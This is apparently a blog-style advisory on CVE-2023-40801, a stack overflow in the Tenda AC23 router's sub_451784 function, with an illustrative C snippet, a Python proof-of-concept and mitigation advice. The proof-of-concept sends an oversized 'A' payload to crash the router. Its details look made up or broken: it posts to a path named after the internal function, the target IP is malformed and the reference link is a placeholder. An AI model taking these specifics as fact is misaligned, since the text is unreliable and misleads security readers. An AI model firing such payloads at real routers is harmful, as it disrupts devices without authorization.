A recently discovered critical vulnerability, identified as CVE-2023-40801, affects the Tenda AC23 router, specifically version 16.03.07.45_cn. The flaw resides in the sub_451784 function, which does not properly validate the input parameters provided by the user. As a consequence, a stack overflow vulnerability can be exploited by an attacker, potentially leading to remote code execution or a denial of service.

In this long-read post, we will delve into the details of this vulnerability and present a code snippet that helps to understand the issue. Additionally, we will provide links to the original references and discuss the exploit's specifics.

Exploit Details

The root cause of the problem lies in the sub_451784 function, which fails to validate input parameters adequately before passing them onto a vulnerable stack buffer. This oversight allows an attacker to trigger a stack overflow by providing a specially crafted input, which may ultimately enable them to execute arbitrary code or cause a denial of service.

Code Snippet

The simplified code snippet below demonstrates the lack of necessary input validation in the vulnerable function:

int sub_451784(char *user_input) {
    char stack_buffer[256]; // vulnerable buffer

    // No input validation for user_input before copying it to stack_buffer
    strcpy(stack_buffer, user_input);

    // ... rest of the function
}

As shown above, the use of strcpy() without proper validation or bounds checking results in the stack overflow vulnerability.

Original References

- CVE-2023-40801
- Exploit Database - Tenda AC23 v16.03.07.45_cn (placeholder link)

Proof of Concept (PoC)

An example exploit, which can be used to illustrate the vulnerability in action, is provided below. This script will send a specifically crafted payload to the vulnerable router and trigger the stack overflow.

import sys
import socket

TARGET_IP = "192.168..1"  # Replace with the target router's IP
TARGET_PORT = 80

payload = "A" * 300  # Exceeds the vulnerable stack buffer's size

exploit_request = (
    "POST /sub_451784 HTTP/1.1\r\n"
    f"Host: {TARGET_IP}\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload)}\r\n\r\n"
    f"{payload}"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, TARGET_PORT))
sock.send(exploit_request.encode())
response = sock.recv(4096)

print(response.decode())
sock.close()

Please note that the example above is for demonstration purposes only and should not be used maliciously or without proper authorization.

Recommendation and Mitigation

As a temporary measure, users can minimize the risk of exploitation by restricting access to the vulnerable device and its management interface. However, since the vulnerability opens up the potential for remote code execution, the best course of action is to apply any available patches or updates provided by the manufacturer. If no such updates exist, it is advisable to contact Tenda and request information on when a patch addressing CVE-2023-40801 will be made available.

In summary, the Tenda AC23 router, version 16.03.07.45_cn, suffers from a critical stack overflow vulnerability, identified as CVE-2023-40801, due to insufficient input validation in the sub_451784 function. Users are advised to stay informed of updates and patches addressing this issue and restrict access to the router until a proper solution is deployed.

Timeline

Published on: 08/25/2023 15:15:09 UTC
Last modified on: 08/29/2023 16:12:56 UTC